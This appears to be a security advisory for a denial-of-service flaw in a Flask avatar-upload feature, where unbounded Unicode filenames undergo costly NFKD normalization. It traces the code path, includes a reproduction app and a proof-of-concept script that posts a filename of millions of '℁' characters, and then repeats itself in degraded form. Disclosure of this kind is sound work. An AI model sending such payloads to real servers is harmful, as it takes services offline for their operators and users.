Summary
When uploading an avatar image, an authenticaed user may intentionally use a large Unicode filename which would lead to a server-side
denial of service under Windows. This is due to no limitation of the length of the filename and the costy use of the Unicode normalization with the form NFKD on Windows OS.
Paths in the Code source
Path with 04 steps
-
src/flask_se_auth.py
flash("No file part")
return redirect(request.url)
file = request.files["file"]
# If the user does not select a file, the browser submits an
# empty file without a filename.
-
src/flask_se_auth.py
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
new_filename = os.urandom(16).hex()
f, ext = os.path.splitext(filename)
-
src/flask_se_config.py
def secure_filename(filename: str) -> str:
if isinstance(filename, text_type):
from unicodedata import normalize
-
src/flask_se_config.py
from unicodedata import normalize
filename = normalize("NFKD", filename)
for sep in os.path.sep, os.path.altsep:
PoC
Next is a minimalist flask application that reproduces an avatar upload when the user is logged in.
from flask import Flask, request, render_template, redirect, url_for
import os
import re
_windows_device_files = (
"CON",
"AUX",
"COM1",
"COM2",
"COM3",
"COM4",
"LPT1",
"LPT2",
"LPT3",
"PRN",
"NUL",
)
_filename_strip_re = re.compile(r"[^A-Za-zа-яА-ЯёЁ0-9_.-]")
app = Flask(__name__)
UPLOAD_FOLDER = "uploads"
ALLOWED_EXTENSIONS = {"bmp", "png", "jpg", "jpeg"}
# Ensure the upload folder exists
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
def allowed_file(filename):
return "." in filename and filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS
def secure_filename(filename: str) -> str:
if isinstance(filename, str):
from unicodedata import normalize
# print("Normalized", filename)
filename = normalize("NFKD", filename)
for sep in os.path.sep, os.path.altsep:
if sep:
filename = filename.replace(sep, " ")
filename = str(_filename_strip_re.sub("", "_".join(filename.split()))).strip("._")
if (
os.name == "nt"
and filename
and filename.split(".")[0].upper() in _windows_device_files
):
filename = "_{filename}"
return filename
def bypass(filename):
# Condition 1:
cond1 = "." in filename and filename.rsplit(".", 1)[1].lower() == "bmp"
# Condition 2:
filename = secure_filename(filename)
_, ext = os.path.splitext(filename)
cond2 = ext.lower() != ".bmp"
return cond1 and cond2
@app.route("/", methods=["GET", "POST"])
def upload_file():
if request.method == "POST":
# Check if the post request has the file part
if "file" not in request.files:
return redirect(request.url)
file = request.files["file"]
if bypass(file.filename):
return f"Bypass successful for file: {file.filename}"
else:
return f"Bypass failed for file: {file.filename}"
return render_template("upload.html")
if __name__ == "__main__":
app.run(debug=True)
Now, consider the following tool that could be run as python3 posting.py 5000000
import requests
import sys
url = "http://localhost:5000/" # Adjust the URL accordingly
x = int(sys.argv[1])
files = {"file": ("℁" * x + ".bmp", open("titre.jpg", "rb"))} # Adjust the file path
response = requests.post(
url,
files=files
)
print(response.status_code, response.elapsed.total_seconds())
Notice the use of the Unicode character ℁
in the filename as many time as potentially 5_000_000
.
Impact
- Server-side Denial of server: the web app would hung undefinetly and not process any further requests.
References:
Summary
When uploading an avatar image, an authenticaed user may intentionally use a large Unicode filename which would lead to a server-side
denial of service under Windows. This is due to no limitation of the length of the filename and the costy use of the Unicode normalization with the form NFKD on Windows OS.
Paths in the Code source
Path with 04 steps
src/flask_se_auth.py
src/flask_se_auth.py
src/flask_se_config.py
src/flask_se_config.py
PoC
Next is a minimalist flask application that reproduces an avatar upload when the user is logged in.
Now, consider the following tool that could be run as
python3 posting.py 5000000
Notice the use of the Unicode character
℁
in the filename as many time as potentially5_000_000
.Impact
References: